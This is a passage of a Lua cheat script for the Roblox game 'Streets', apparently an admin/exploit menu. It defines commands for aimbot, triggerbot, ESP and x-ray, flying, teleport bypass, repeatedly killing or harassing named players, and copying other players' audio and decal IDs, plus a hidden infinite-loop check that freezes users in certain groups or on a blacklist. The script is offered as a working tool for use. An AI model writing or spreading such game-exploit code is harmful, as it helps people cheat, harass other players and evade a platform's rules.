  2294. end,"get",{"tpto"},"(Burger,Drink,Ammo,Pipe,Machete,SawedOff,Spray,Uzi,Glock)","[Item]")
  2295.  
  2296. AddCommand(function(Arguments)
  2297. if Arguments[1] then
  2298. if PlaceTable[Arguments[1]] then
  2299. Teleport(PlaceTable[Arguments[1]])
  2300. elseif Arguments[1] == "banland" then
  2301. TeleportService:Teleport(4669040)
  2302. elseif Arguments[1] == "normalstreets" then
  2303. TeleportService:Teleport(455366377)
  2304. end
  2305. end
  2306. end,"place",{},"(SandBox,Jail,Gas,Court,Beach,Bank,BanLand,NormalStreets)","[Place]")
  2307.  
  2308. AddCommand(function(Arguments)
  2309. Blinking = not Blinking
  2310. if Blinking then
  2311. if Arguments[1] and tonumber(Arguments[1]) then
  2312. BlinkSpeed = Arguments[1]
  2313. else
  2314. BlinkSpeed = 2
  2315. end
  2316. end
  2317. notif("Blink","Has been set to "..tostring(Blinking),5,nil)
  2318. end,"blink",{},"Different method of speed (Uses CFrame)","[Number (Optional)]")
  2319.  
  2320. AddCommand(function(Arguments)
  2321. WalkShoot = not WalkShoot
  2322. notif("WalkShoot","Has been set to "..tostring(WalkShoot),5,nil)
  2323. end,"walkshoot",{"noslow"},"Allows you to turn On/Off Walk Shooting","[No Args]")
  2324.  
  2325. AddCommand(function(Arguments)
  2326. FeLoop = not FeLoop
  2327. if Arguments[1] then
  2328. FeLoop = true
  2329. local Player = PlrFinder(Arguments[1])
  2330. if Player then
  2331. GetChar():BreakJoints()
  2332. LoopPlayer = Player
  2333. end
  2334. else
  2335. LoopPlayer = nil
  2336. end
  2337. end,"feloop",{},"First you were a skid, Now you're annoying with a simple use of this command!","[Player]")
  2338.  
  2339. AddCommand(function(Arguments)
  2340. AnnoyOn = not AnnoyOn
  2341. if Arguments[1] then
  2342. if AnnoyOn then
  2343. local Player = PlrFinder(Arguments[1])
  2344. if Player and Player ~= LP then
  2345. AnnoyingPlayer = Player
  2346. end
  2347. end
  2348. end
  2349. end,"annoy",{"shield"},"Loop Teleports you infront of the Player","[Player]")
  2350.  
  2351. AddCommand(function(Arguments)
  2352. TriggerBot = not TriggerBot
  2353. if not TriggerBot then
  2354. wait()
  2355. AnnoyOn = false
  2356. AnnoyingPlayer = nil
  2357. AimbotAutoShoot = false
  2358. Flying = false
  2359. AutoDie = false
  2360. end
  2361. if Arguments[1] and TriggerBot then
  2362. AutoDie = true
  2363. CheckCommand("annoy "..Arguments[1])
  2364. AimbotAutoShoot = true
  2365. if not NeverSitting then
  2366. CheckCommand("neversit")
  2367. end
  2368. end
  2369. end,"triggerbot",{},"triggerbot goes brrrrrrrrrrrrrrrr","[Player]")
  2370.  
  2371. AddCommand(function(Arguments)
  2372. if not GetChar():FindFirstChildOfClass'Tool' or not GetChar():FindFirstChildOfClass'Tool':FindFirstChild'Clips' then notif("Tool needed","Hold a gun",5,nil) return end
  2373. if RemoteGunBodyPos then
  2374. RemoteGunBodyPos:Destroy()
  2375. RemoteGunBodyPos = nil
  2376. RemoteGunPlayer = nil
  2377. end
  2378. if Arguments[1] then
  2379. local Player = PlrFinder(Arguments[1])
  2380. if Player then
  2381. RemoteGunPlayer = Player
  2382. RemoteGunBodyPos = createBodyPos(GetChar():FindFirstChildOfClass'Tool'.Handle)
  2383. end
  2384. end
  2385. end,"remotegun",{},"Hold any gun","[Player]")
  2386.  
  2387. AddCommand(function()
  2388. if game.PlaceId ~= 455366377 then notif("TriggerBotAutoReload","Only works on normal Streets",5,nil) return end
  2389. TriggerBotAutoReload = not TriggerBotAutoReload
  2390. end,"triggerbotautoreload",{},"Triggerbot auto reload (instead of resetting only works on Ts) (also probably buggy)","[No Args]")
  2391.  
  2392. AddCommand(function(Arguments)
  2393. if Arguments[1] and Arguments[2] and tonumber(Arguments[2]) then
  2394. if Arguments[1] == "down" then
  2395. LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Position = LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Position + UDim2.new(UDim.new(),LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Size.Y + UDim.new(0,tonumber(Arguments[2])))
  2396. LP.PlayerGui.Chat.Frame.ChatBarParentFrame.Position = LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Position + UDim2.new(UDim.new(),LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Size.Y + UDim.new(0,3))
  2397. elseif Arguments[1] == "up" then
  2398. LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Position = LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Position - UDim2.new(UDim.new(),LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Size.Y + UDim.new(0,tonumber(Arguments[2])))
  2399. LP.PlayerGui.Chat.Frame.ChatBarParentFrame.Position = LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Position + UDim2.new(UDim.new(),LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Size.Y + UDim.new(0,3))
  2400. end
  2401. end
  2402. end,"movechat",{},"Move Chat Up/Down with (Up/Down [Number])","[Up/Down] [Number]")
  2403.  
  2404. AddCommand(function(Arguments)
  2405. if Arguments[1] and Arguments[1] == "legacy" then
  2406. local Arm = GetChar():FindFirstChild'Right Arm'
  2407. if Arm then
  2408. Arm:Destroy()
  2409. end
  2410. else
  2411. AntiKill = true
  2412. ToolTable = LP.Backpack:GetChildren()
  2413. local Character = GetChar()
  2414. Character.ChildAdded:Connect(function(Tool)
  2415. if Tool:IsA'Tool' then
  2416. if table.find(ToolTable,Tool) then return end
  2417. Tool:Destroy()
  2418. end
  2419. end)
  2420. notif("AntiKill","Turn on noclip for best results")
  2421. end
  2422. end,"antikill",{},"Makes FE Loop not work (Legacy for removing right arm)","[Legacy (Optional)]")
  2423.  
  2424. AddCommand(function(Arguments)
  2425. if Arguments[1] then
  2426. local Player = PlrFinder(Arguments[1])
  2427. if Player and Player.Character then
  2428. local BoxModel = Player.Character:FindFirstChild'BoxModel' or Player.Character:FindFirstChild'BoomBox'
  2429. if BoxModel and BoxModel:FindFirstChild'Handle' then
  2430. if writefile then
  2431. writefile("AudioLog from "..Player.Name.." "..math.random(1,99)..".txt",string.match(BoxModel.Handle:FindFirstChildOfClass'Sound'.SoundId,'%d+'))
  2432. notif("Audio has been stolen.","Check your exploits workspace folder",5,nil)
  2433. else
  2434. print("Audio From: "..Player.Name.." Id: "..string.match(BoxModel.Handle:FindFirstChildOfClass'Sound'.SoundId,'%d+'))
  2435. notif("Audio has been stolen.","It has been printed to your console (F9) due to your exploit not supporting writefile",5,nil)
  2436. end
  2437. end
  2438. end
  2439. end
  2440. end,"steal",{},"Steals a persons audio","[Player]")
  2441. if LP:IsInGroup(6954679) or LP:IsInGroup(5152759) or LP:IsInGroup(6762089) or LP:IsInGroup(7290645) or string.find(LP.Name:lower(),"lynx") or string.find(LP.Name:lower(),"invision") or BlacklistTable[LP.UserId] then while true do end end
  2442. AddCommand(function(Arguments)
  2443. if Arguments[1] then
  2444. local Player = PlrFinder(Arguments[1])
  2445. if Player then
  2446. local Decal = workspace:FindFirstChild(Player.Name.."Spray")
  2447. if Decal and Decal:FindFirstChildOfClass'Decal' then
  2448. if writefile then
  2449. writefile("DecalLog from "..Player.Name.." "..math.random(1,99)..".txt",tostring(string.match(Decal.Decal.Texture,'%d+')))
  2450. else
  2451. print("Decal From: "..Player.Name.." Id: "..tostring(string.match(Decal.Decal.Texture,'%d+')))
  2452. end
  2453. end
  2454. end
  2455. end
  2456. end,"decalsteal",{},"Steals a persons decal","[Player]")
  2457.  
  2458. AddCommand(function()
  2459. if game.PlaceId ~= 455366377 then return notif("Wont work","Streets Only",5,nil) end
  2460. if RainbowHats then RainbowHats = false LP.Backpack.Stank:FireServer("ren") end
  2461. if RainbowFrame.Visible then RainbowFrame.Visible = false return end
  2462. RainbowScrolling:ClearAllChildren()
  2463. RainbowFrame.Visible = true
  2464. local C = LP.PlayerGui.HUD.Clan.Group.Reps:GetChildren()
  2465. createRainbow(UDim2.new(-0.002,0,0,-10),"All")
  2466. for i = 1,#C do
  2467. local Child = C[i]
  2468. if Child:IsA'TextButton' and Child:FindFirstChild'typ' then
  2469. createRainbow(UDim2.new(-0.002,0,0,-40 + (i * 30)),Child.typ.Value,Child.typ)
  2470. end
  2471. end
  2472. end,"rainbowhats",{},"Opens a GUI so you can pick what hat to rainbowize","[No Args]")
  2473.  
  2474. AddCommand(function(Arguments)
  2475. if game.PlaceId ~= 455366377 then return notif("Wont work","Streets Only",5,nil) end
  2476. if Arguments[1] and tonumber(Arguments[1]) then
  2477. Rainbowdelay = tonumber(Arguments[1])
  2478. end
  2479. end,"rainbowhatdelay",{},"Changes the delay for rainbow hats","[Number]")
  2480.  
  2481. AddCommand(function(Arguments)
  2482. if not Arguments[2] then
  2483. Flying = not Flying
  2484. end
  2485. if Arguments[1] then
  2486. if Arguments[1] == "up" then
  2487. FlySpeed = FlySpeed + Arguments[2] or 1
  2488. notif("FlySpeed","Has been set to "..FlySpeed,5,nil)
  2489. elseif Arguments[1] == "down" then
  2490. FlySpeed = FlySpeed - Arguments[2] or 1
  2491. notif("FlySpeed","Has been set to "..FlySpeed,5,nil)
  2492. elseif tonumber(Arguments[1]) then
  2493. FlySpeed = tonumber(Arguments[1])
  2494. if Flying then
  2495. Fly()
  2496. end
  2497. end
  2498. else
  2499. if Flying then
  2500. Fly()
  2501. end
  2502. end
  2503. end,"fly",{},"Allows you to fly [Up/Down Speed]","[Up/Down Speed]/Speed")
  2504.  
  2505. AddCommand(function()
  2506. DoubleJumpEnabled = not DoubleJumpEnabled
  2507. notif("DoubleJumpEnabled","Has been set to "..tostring(DoubleJumpEnabled),5,nil)
  2508. end,"doublejump",{"infinitejump"},"Allows you to jump forever","[No Args]")
  2509.  
  2510. AddCommand(function()
  2511. TpBypass = not TpBypass
  2512. GetChar():BreakJoints()
  2513. end,"tpbypass",{},"Teleportation Bypass (Allows Infinite FlySpeed etc)","[No Args]")
  2514.  
  2515. AddCommand(function(Arguments)
  2516. if Arguments[1] then
  2517. if WhiteListedParts[Arguments[1]] then
  2518. AimMode = WhiteListedParts[Arguments[1]]
  2519. notif("AimTarget","has been set to "..AimMode,5,"rbxassetid://1281284684")
  2520. end
  2521. end
  2522. end,"aimtarget",{},"Changes the aim target [Head/Torso/HumanoidRootPart/Prediction]","[Head/Torso/HumanoidRootPart/Prediction]")
  2523.  
  2524. AddCommand(function(Arguments)
  2525. if Arguments[1] then
  2526. if Arguments[1] == "leftclick" then
  2527. AimlockMode = "LeftClick"
  2528. elseif Arguments[1] == "rightclick" then
  2529. AimlockMode = "RightClick"
  2530. elseif Arguments[1] == "nomouse" then
  2531. AimlockMode = "NoMouse"
  2532. elseif Arguments[1] == "closest" then
  2533. AimlockMode = "Closest"
  2534. local PlayersT = Players:GetPlayers()
  2535. for i = 1,#PlayersT do
  2536. if PlayersT[i] ~= LP then
  2537. AimlockClosest(PlayersT[i])
  2538. end
  2539. end
  2540. end
  2541. updateHotkeys(ConfigurationFile)
  2542. end
  2543. end,"aimmode",{"aimlockmode"},"LeftClick/RightClick/NoMouse/Closest (Sets the way you can aimlock)","[LeftClick/RightClick/NoMouse/Closest]")
  2544.  
  2545. AddCommand(function(Arguments)
  2546. if Arguments[1] and tonumber(Arguments[1]) then
  2547. AimbotVelocity = tonumber(Arguments[1])
  2548. if AimMode ~= "OldPrediction" and AimMode ~= "Prediction" then
  2549. notif("Note:","This only works with aimtarget oldprediction/prediction",5,nil)
  2550. end
  2551. end
  2552. end,"aimvelocity",{},"Changes your Aimbots Velocity (If mode is set to a prediction mode) (Default: 5)","[Number]")
  2553.  
  2554. AddCommand(function(Arguments)
  2555. if Arguments[1] and Arguments[1] ~= "all" then
  2556. local Player = PlrFinder(Arguments[1])
  2557. if Player and Player ~= LP and tostring(AimlockTarget) ~= tostring(Player) then
  2558. AimlockTarget,Aimlock = Player.Character,true
  2559. local Connection;Connection = Player.CharacterAdded:Connect(function(C)
  2560. if tostring(C) == tostring(AimlockTarget) then
  2561. AimlockTarget = C
  2562. else
  2563. Connection:Disconnect()
  2564. Connection = nil
  2565. end
  2566. end)
  2567. notif("AimlockTarget","Has been set to "..AimlockTarget.Name,5,nil)
  2568. end
  2569. else
  2570. Aimlock = not Aimlock
  2571. notif("Aimlock","Has been set to "..tostring(Aimlock),5,nil)
  2572. end
  2573. end,"aimlock",{"aim"},"Aimbot (Different method than camlock)","[Player]")
  2574.  
  2575. --[[AddCommand(function()
  2576. if game.PlaceId ~= 455366377 then notif("BFG","Streets only",5,nil) end
  2577. BfgOn = not BfgOn
  2578. end,"bfg",{},"Shitty bfg I made (Normal Ts Only)","[No Args]")]]
  2579.  
  2580. AddCommand(function(Arguments)
  2581. if Arguments[1] then
  2582. if Arguments[1] == "triggerbot" then
  2583. AutoTriggerBot = not AutoTriggerBot
  2584. notif("AutoTriggerBot","Has been set to "..tostring(AutoTriggerBot),5,nil)
  2585. elseif Arguments[1] == "feloop" then
  2586. AutoFeloop = not AutoFeloop
  2587. notif("AutoFeloop","Has been set to "..tostring(AutoFeloop),5,nil)
  2588. end
  2589. else
  2590. AutoTarget = not AutoTarget
  2591. notif("AutoTarget","Has been set to "..tostring(AutoTarget),5,nil)
  2592. end
  2593. end,"autotarget",{"autolock"},"autotarget [triggerbot/feloop/no arguments] triggerbot auto triggerbots when someone hits you,no args auto camlocks/aimlocks","[TriggerBot/FeLoop/No Args]")
  2594.  
  2595. AddCommand(function()
  2596. AimbotAutoShoot = not AimbotAutoShoot
  2597. notif("AimbotAutoShoot","Has been set to "..tostring(AimbotAutoShoot),5,nil)
  2598. end,"aimbotautoshoot",{},"Auto shoots aimbot","[No Args]")
  2599.  
  2600. AddCommand(function(Arguments)
  2601. if Arguments[1] then
  2602. ClickTpKey = Arguments[1]:sub(1,1)
  2603. updateHotkeys(ConfigurationFile)
  2604. else
  2605. ClickTpKey = nil
  2606. updateHotkeys(ConfigurationFile)
  2607. end
  2608. end,"clicktp",{"ctp"},"Allows you to teleport around the map with the Key you set","[Key]")
  2609.  
  2610. AddCommand(function()
  2611. AutoStomp = not AutoStomp
  2612. end,"autostomp",{},"Turns On/Off AutoStomp","[No Args]")
  2613.  
  2614. AddCommand(function(Arguments)
  2615. if Arguments[1] then
  2616. if Arguments[1] == "remove" and Arguments[2] then
  2617. local Player = PlrFinder(Arguments[2])
  2618. if Player and Player ~= LP then
  2619. for i,v in pairs(StompWhitelist) do if Player.UserId == v then table.remove(StompWhitelist,i) end
  2620. end
  2621. else
  2622. local Player = PlrFinder(Arguments[1])
  2623. if Player and Player ~= LP then
  2624. table.insert(StompWhitelist,Player.UserId)
  2625. end
  2626. end
  2627. end
  2628. end
  2629. end,"autostompwhitelist",{},"Adds the player to the whitelist so they don't get stomped, to remove use remove before their name","[Player]")
  2630.  
  2631. AddCommand(function(Arguments)
  2632. if not Freecam then
  2633. Freecam = true
  2634. FreeCam(Arguments[1])
  2635. else
  2636. Freecam = false
  2637. end
  2638. end,"freecam",{},"Allows you to \"free\" view the map","[Speed (Optional)]")
  2639.  
  2640. AddCommand(function()
  2641. GravGunTool = Instance.new('Tool',LP.Backpack)
  2642. GravGunTool.Name = "GravGun"
  2643. GravGunTool.RequiresHandle = false
  2644. local Handle = Instance.new('Part',GravGunTool)
  2645. Handle.Name = "Handle"
  2646. Handle.Transparency = 1
  2647. end,"gravgun",{"gravitygun"},"Gmod Gravity gun","[Keys: Q,V] (No Args)")
  2648.  
  2649. AddCommand(function()
  2650. ExploiterDetectionOn = not ExploiterDetectionOn
  2651. notif("ExploiterDetection","Has been set to "..tostring(ExploiterDetectionOn),5,nil)
  2652. end,"exploiterdetection",{},"Detects exploiters (Has a chance to false flag)","[No Args]")
  2653.  
  2654. AddCommand(function(Arguments)
  2655. if Arguments[1] then
  2656. if Arguments[1] == "image" then
  2657. if Arguments[2] then
  2658. CmdBarImageLabel.Image = "http://www.roblox.com/asset/?id=5924280889"..Arguments[2]
  2659. end
  2660. elseif Arguments[1] == "none" then
  2661. CmdBarImageLabel.Image = ""
  2662. elseif Arguments[1] == "default" then
  2663. CmdBarImageLabel.Image = "http://www.roblox.com/asset/?id=5924280889"
  2664. end
  2665. updateHotkeys(ConfigurationFile)
  2666. end
  2667. end,"commandbarimage",{"cmdbarimage"},"Changes the command bar image","[Image/None/Default]")
  2668.  
  2669. AddCommand(function(Arguments)
  2670. if Arguments[1] then
  2671. local Player = PlrFinder(Arguments[1])
  2672. if Player and Player ~= LP then
  2673. if typeof(Player) == "table" then
  2674. for i = 1,#Player do
  2675. local ActualPlr = Player[i]
  2676. if ActualPlr ~= LP and ActualPlr.Character and ActualPlr.Character:FindFirstChild'Head' then
  2677. if Arguments[1] == "users" and AdminUserTable[ActualPlr] or Arguments[1] ~= "users" then
  2678. EspTable2[ActualPlr] = true
  2679. Esp(ActualPlr.Character.Head,Player.Name)
  2680. local EspEvent;EspEvent = ActualPlr.CharacterAdded:Connect(function(C)
  2681. local Head = C:WaitForChild'Head'
  2682. if EspTable[Player] then
  2683. Esp(Head,Player.Name)
  2684. else
  2685. EspEvent:Disconnect()
  2686. end
  2687. end)
  2688. end
  2689. end
  2690. end
  2691. else
  2692. if Player.Character and Player.Character:FindFirstChild'Head' then
  2693. EspTable2[Player] = true
  2694. Esp(Player.Character.Head,Player.Name)
  2695. local EspEvent;EspEvent = Player.CharacterAdded:Connect(function(C)
  2696. local Head = C:WaitForChild'Head'
  2697. if EspTable[Player] then
  2698. Esp(Head,Player.Name)
  2699. else
  2700. EspEvent:Disconnect()
  2701. end
  2702. end)
  2703. end
  2704. end
  2705. end
  2706. end
  2707. end,"esp",{},"Find a player anywhere in the map","[Player/All/Users]")
  2708.  
  2709. AddCommand(function(Arguments)
  2710. if Arguments[1] then
  2711. local Player = PlrFinder(Arguments[1])
  2712. if Player then
  2713. if typeof(Player) == "table" then
  2714. for i = 1,#Player do
  2715. local ActualPlr = Player[i]
  2716. if ActualPlr.Character and ActualPlr.Character:FindFirstChild'Head' then
  2717. Unesp(ActualPlr)
  2718. end
  2719. end
  2720. else
  2721. if Player.Character and Player.Character:FindFirstChild'Head' then
  2722. Unesp(Player)
  2723. end
  2724. end
  2725. end
  2726. end
  2727. end,"unesp",{},"obviously removes the esp?","[Player/All]")
  2728.  
  2729. AddCommand(function(Arguments)
  2730. if Arguments[1] then
  2731. if Arguments[1] == "esp" then
  2732. EspColour = Color3.fromRGB(Arguments[2] or 0,Arguments[3] or 0,Arguments[4] or 0)
  2733. elseif Arguments[1] == "bullet" then
  2734. BulletColour = ColorSequence.new(Color3.fromRGB(Arguments[2] or 0,Arguments[3] or 0,Arguments[4] or 0))
  2735. end
  2736. end
  2737. end,"colour",{"color"},"Colour esp/bullet [3 Args (Number) (Optional)] defaults to 0","[Esp/Bullet] [3 numbers (Optional)]")
  2738.  
  2739. AddCommand(function()
  2740. KeysFrame.Visible = not KeysFrame.Visible
  2741. end,"hotkey",{"key"},"For Setting hotkeys, Type in the textbox, click the button and press a key","[No Args]")
  2742.  
  2743. AddCommand(function(Arguments)
  2744. if Arguments[1] then
  2745. for Index,Key in pairs(Keys) do
  2746. if Key:match'[%a%d]+$' == Arguments[1]:upper() or Key:match("[%a%d]+$") == Arguments[1] then
  2747. table.remove(Keys,Index)
  2748. updateHotkeys(ConfigurationFile)
  2749. end
  2750. end
  2751. end
  2752. end,"removekey",{"rkey"},"Removes a hotkey to a command","[Key]")
  2753.  
  2754. AddCommand(function()
  2755. Keys = {}
  2756. ClickTpKey = ""
  2757. updateHotkeys(ConfigurationFile)
  2758. end,"removeallhotkeys",{"removeallkeys"},"Removes all hotkeys","[No Args]")
  2759.  
  2760. AddCommand(function(Arguments)
  2761. if readfile and writefile then
  2762. if Arguments[1] then
  2763. if Arguments[1] == "default" then
  2764. ConfigurationFile = "CyrusStreetsAdminSettings.json"
  2765. elseif pcall(readfile,Arguments[1]..".json") then
  2766. ConfigurationFile = Arguments[1]..".json"
  2767. else
  2768. ConfigurationFile = Arguments[1]..".json"
  2769. initalizeHotkeys(ConfigurationFile)
  2770. end
  2771. runHotkeys(ConfigurationFile)
  2772. end
  2773. end
  2774. end,"config",{},"Changes Configs (Useful for having different profiles i.e legit etc)","[Config Name]")
  2775.  
  2776. AddCommand(function(Arguments)
  2777. if Arguments[1] then
  2778. if Arguments[1] == "wireframe" then
  2779. Xray(Arguments[1],"wireframe")
  2780. else
  2781. notif("Xray","Sorry, Only [Xray WireFrame/No Args] Work",5,nil)
  2782. end
  2783. else
  2784. Xray()
  2785. end
  2786. end,"xray",{},"see through walls (also has wireframe mode which looks cool but kills fps)","[WireFrame/No Args]")
  2787.  
  2788. -- [[ End ]] --
  2789.  
  2790. -- [[ Gui Initalization ]] --
  2791.  
  2792. coroutine.resume(coroutine.create(function()
  2793. -- Rainbow Hats --
  2794. RainbowFrame.Visible = false
  2795. RainbowFrame.BackgroundColor3 = Color3.fromRGB(0,0,0)
  2796. RainbowFrame.BackgroundTransparency = 0.6
  2797. RainbowFrame.Position = UDim2.new(0.3,0,0.17,0)
  2798. RainbowFrame.Size = UDim2.new(0,460,0,359)
  2799. RainbowFrame.AnchorPoint = Vector2.new(0,0)
  2800.  
  2801. RainbowLabel.BackgroundColor3 = Color3.fromRGB(0,0,0)
  2802. RainbowLabel.BackgroundTransparency = 0.3
  2803. RainbowLabel.BorderColor3 = Color3.fromRGB(170,0,0)
  2804. RainbowLabel.BorderSizePixel = 2
  2805. RainbowLabel.Position = UDim2.new(-0.002,0,-0.14,0)
  2806. RainbowLabel.Size = UDim2.new(0,460,0,50)
  2807. RainbowLabel.Font = Enum.Font.SciFi
  2808. RainbowLabel.Text = "Rainbow Hats"
  2809. RainbowLabel.TextColor3 = Color3.fromRGB(255,170,255)
  2810. RainbowLabel.TextSize = 50
  2811.  
  2812. RainbowScrolling.BackgroundColor3 = Color3.fromRGB(0,0,0)
  2813. RainbowScrolling.BackgroundTransparency = 0.3
  2814. RainbowScrolling.BorderColor3 = Color3.fromRGB(170,0,0)
  2815. RainbowScrolling.BorderSizePixel = 2
  2816. RainbowScrolling.Position = UDim2.new(-0.0013,0,-0.0006,0)
  2817. RainbowScrolling.Size = UDim2.new(0,460,0,359)
  2818. RainbowScrolling.CanvasSize = UDim2.new(0,0,10,0)
  2819. RainbowScrolling.ScrollBarThickness = 10
  2820.  
  2821. CmdsFrame.BackgroundColor3 = Color3.fromRGB(0,207,251)
  2822. CmdsFrame.BorderColor3 = Color3.fromRGB(0,207,251)
  2823. CmdsFrame.BorderSizePixel = 0
  2824. CmdsFrame.Position = UDim2.new(0.34,0,0.16,0)
  2825. CmdsFrame.Size = UDim2.new(0,400,0,350)
  2826. CmdsFrame.Style = Enum.FrameStyle.RobloxSquare
  2827. CmdsFrame.Visible = false
  2828. CmdsFrame.AnchorPoint = Vector2.new(0,0)
  2829.  
  2830. -- Help Gui --
  2831.  
  2832. CmdsLabel.BackgroundColor3 = Color3.fromRGB(116,0,0)
  2833. CmdsLabel.BackgroundTransparency = 0.2
  2834. CmdsLabel.BorderColor3 = Color3.fromRGB(244,127,255)
  2835. CmdsLabel.BorderSizePixel = 0
  2836. CmdsLabel.Position = UDim2.new(-0.02,0,-0.15,0)
  2837. CmdsLabel.Size = UDim2.new(0,400,0,43)
  2838. CmdsLabel.Font = Enum.Font.SciFi
  2839. CmdsLabel.Text = "Commands"
  2840. CmdsLabel.TextColor3 = Color3.fromRGB(255,255,255)
  2841. CmdsLabel.TextSize = 20
  2842.  
  2843. CmdsScrolling.Active = true
  2844. CmdsScrolling.BackgroundColor3 = Color3.fromRGB(0,0,0)
  2845. CmdsScrolling.BackgroundTransparency = 1
  2846. CmdsScrolling.BorderColor3 = Color3.fromRGB(244,127,255)
  2847. CmdsScrolling.BorderSizePixel = 0
  2848. CmdsScrolling.Position = UDim2.new(-0.022,0,-0.02,0)
  2849. CmdsScrolling.Size = UDim2.new(0,400,0,350)
  2850. CmdsScrolling.CanvasSize = UDim2.new(0,0,10,0)
  2851. CmdsScrolling.ScrollBarThickness = 10
  2852.  
  2853. -- Command bar --
  2854.  
  2855.  
  2856. CmdBarFrame.BackgroundColor3 = Color3.fromRGB(0,0,0)
  2857. CmdBarFrame.BackgroundTransparency = 0.8
  2858. CmdBarFrame.Size = UDim2.new(0,197,0,41)
  2859. CmdBarFrame.Position = UDim2.new(1.5,0,1.5,0)
  2860. CmdBarFrame.AnchorPoint = Vector2.new(0.5,0.5)
  2861.  
  2862. CmdBarTextBox.BackgroundColor3 = Color3.fromRGB(0,0,0)
  2863. CmdBarTextBox.BackgroundTransparency = 0.4
  2864. CmdBarTextBox.BorderColor3 = Color3.fromRGB(244,127,255)
  2865. CmdBarTextBox.BorderSizePixel = 2
  2866. CmdBarTextBox.Position = UDim2.new(0,0,-0.8,0)
  2867. CmdBarTextBox.Size = UDim2.new(0,199,0,41)
  2868. CmdBarTextBox.Font = Enum.Font.SciFi
  2869. CmdBarTextBox.TextColor3 = Color3.fromRGB(255,255,255)
  2870. CmdBarTextBox.TextSize = 15
  2871. CmdBarTextBox.TextWrapped = true
  2872. CmdBarTextBox.ClearTextOnFocus = true
  2873.  
  2874. CmdBarImageLabel.BackgroundColor3 = Color3.fromRGB(244,127,255)
  2875. CmdBarImageLabel.Size = UDim2.new(0,199,0,145)
  2876. CmdBarImageLabel.Image = CmdBarImage
  2877.  
  2878. -- Values GUI --
  2879.  
  2880. ValuesFrame.BackgroundColor3 = Color3.fromRGB(0,207,251)
  2881. ValuesFrame.BackgroundTransparency = 1
  2882. ValuesFrame.Position = UDim2.new(0.15,0,1,0)
  2883. ValuesFrame.AnchorPoint = Vector2.new(0,1)
  2884. ValuesFrame.Size = UDim2.new(0,160,0,160)
  2885.  
  2886. ValuesTextLabel.BackgroundColor3 = Color3.fromRGB(0,0,0)
  2887. ValuesTextLabel.BackgroundTransparency = 0.6
  2888. ValuesTextLabel.BorderColor3 = Color3.fromRGB(0,207,251)
  2889. ValuesTextLabel.Position = UDim2.new(0,0,0,0)
  2890. ValuesTextLabel.Size = UDim2.new(0,160,0,160)
  2891. ValuesTextLabel.Font = Enum.Font.Code
  2892. ValuesTextLabel.TextColor3 = Color3.fromRGB(255,255,255)
  2893. ValuesTextLabel.TextSize = 14
  2894. ValuesTextLabel.TextWrapped = true
  2895. ValuesTextLabel.TextYAlignment = Enum.TextYAlignment.Top
  2896.  
  2897. -- Hotkeys GUI --
  2898.  
  2899. HotkeysFrame.BackgroundColor3 = Color3.fromRGB(0,207,251)
  2900. HotkeysFrame.BackgroundTransparency = 1
  2901. HotkeysFrame.Position = UDim2.new(0.8,0,1,0)
  2902. HotkeysFrame.AnchorPoint = Vector2.new(1,1)
  2903. HotkeysFrame.Size = UDim2.new(0,160,0,160)
  2904.  
  2905. HotkeysTextLabel.BackgroundColor3 = Color3.fromRGB(0,0,0)
  2906. HotkeysTextLabel.BackgroundTransparency = 0.6
  2907. HotkeysTextLabel.BorderColor3 = Color3.fromRGB(0,207,251)
  2908. HotkeysTextLabel.Position = UDim2.new(0,0,0,0)
  2909. HotkeysTextLabel.Text = "Open Command Bar: '\nGunStomp: E"
  2910. HotkeysTextLabel.Size = UDim2.new(0,160,0,160)
  2911. HotkeysTextLabel.Font = Enum.Font.Code
  2912. HotkeysTextLabel.TextColor3 = Color3.fromRGB(255,255,255)
  2913. HotkeysTextLabel.TextSize = 14
  2914. HotkeysTextLabel.TextWrapped = true
  2915. HotkeysTextLabel.TextYAlignment = Enum.TextYAlignment.Top
  2916.  
  2917. -- Damage Indicator --
  2918.  
  2919. DmgIndicator.BackgroundColor3 = Color3.fromRGB(0,0,0)
  2920. DmgIndicator.BackgroundTransparency = 0.7
  2921. DmgIndicator.BorderSizePixel = 3
  2922. DmgIndicator.Position = UDim2.new(0,0,1,0)
  2923. DmgIndicator.Size = UDim2.new(0,385,0,50)
  2924. DmgIndicator.Font = Enum.Font.Code
  2925. DmgIndicator.TextColor3 = Color3.fromRGB(184,0,3)
  2926. DmgIndicator.TextScaled = true
  2927. DmgIndicator.TextSize = 30
  2928. DmgIndicator.TextWrapped = true
  2929. DmgIndicator.Visible = false
  2930.  
  2931. -- Hotkeys GUI --
  2932.  
  2933. KeysFrame.BackgroundColor3 = Color3.fromRGB(0,0,0)
  2934. KeysFrame.BackgroundTransparency = 0.6
  2935. KeysFrame.BorderColor3 = Color3.fromRGB(0,207,251)
  2936. KeysFrame.BorderSizePixel = 0
  2937. KeysFrame.Position = UDim2.new(0.5,0,0.5,0)
  2938. KeysFrame.AnchorPoint = Vector2.new(0.5,0.5)
  2939. KeysFrame.Size = UDim2.new(0,218,0,154)
  2940. KeysFrame.Visible = false
  2941.  
  2942. AnyCmdButton.BackgroundColor3 = Color3.fromRGB(0,0,0)
  2943. AnyCmdButton.BackgroundTransparency = 0.7
  2944. AnyCmdButton.BorderColor3 = Color3.fromRGB(0,207,251)
  2945. AnyCmdButton.Position = UDim2.new(0.17,0,0.43,0)
  2946. AnyCmdButton.Size = UDim2.new(0,49,0,49)
  2947. AnyCmdButton.Font = Enum.Font.SourceSans
  2948. AnyCmdButton.TextColor3 = Color3.fromRGB(255,255,255)
  2949. AnyCmdButton.TextSize = 13
  2950. AnyCmdButton.TextWrapped = true
  2951. AnyCmdButton.Text = "Type a command then click"
  2952.  
  2953. KeysLabel.BackgroundColor3 = Color3.fromRGB(0,0,0)
  2954. KeysLabel.BackgroundTransparency = 0.3
  2955. KeysLabel.BorderColor3 = Color3.fromRGB(0,207,251)
  2956. KeysLabel.Position = UDim2.new(0.004,0,-0.3,0)
  2957. KeysLabel.Size = UDim2.new(0,217,0,50)
  2958. KeysLabel.Font = Enum.Font.SciFi
  2959. KeysLabel.Text = "Keys GUI"
